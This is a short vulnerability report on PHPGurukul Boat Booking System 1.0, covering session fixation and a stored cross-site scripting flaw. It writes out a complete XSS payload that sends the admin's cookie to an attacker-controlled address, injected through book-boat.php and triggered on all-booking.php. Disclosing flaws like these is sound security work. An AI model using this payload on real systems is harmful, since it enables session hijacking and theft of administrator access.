Submit #425414: PHPGurukul Boat Booking System 1.0 Session Fixiation

The session is being started (session_start()) without regenerating the session ID after login, which could expose the system to session fixation attacks. An attacker can force a session ID onto a victim and then hijack it after the victim logs in.

Risk: If an attacker gets hold of the session ID (via XSS or other means), they could hijack the session and impersonate the user.

Fix: After logging in, regenerate the session ID to prevent this attack.

Via injecting <script>var i=new Image(); i.src="http://10.10.14.12:1234/?cookie="+btoa(document.cookie);</script> payload to forms in book-boat.php, attacker can inject a XSS payload.

When admin user sign in to check on all-booking.php, payload will be triggered and admin cookie is forwarded to attacker's netcat listener, which can be used to login as the admin user without needing any credentials.
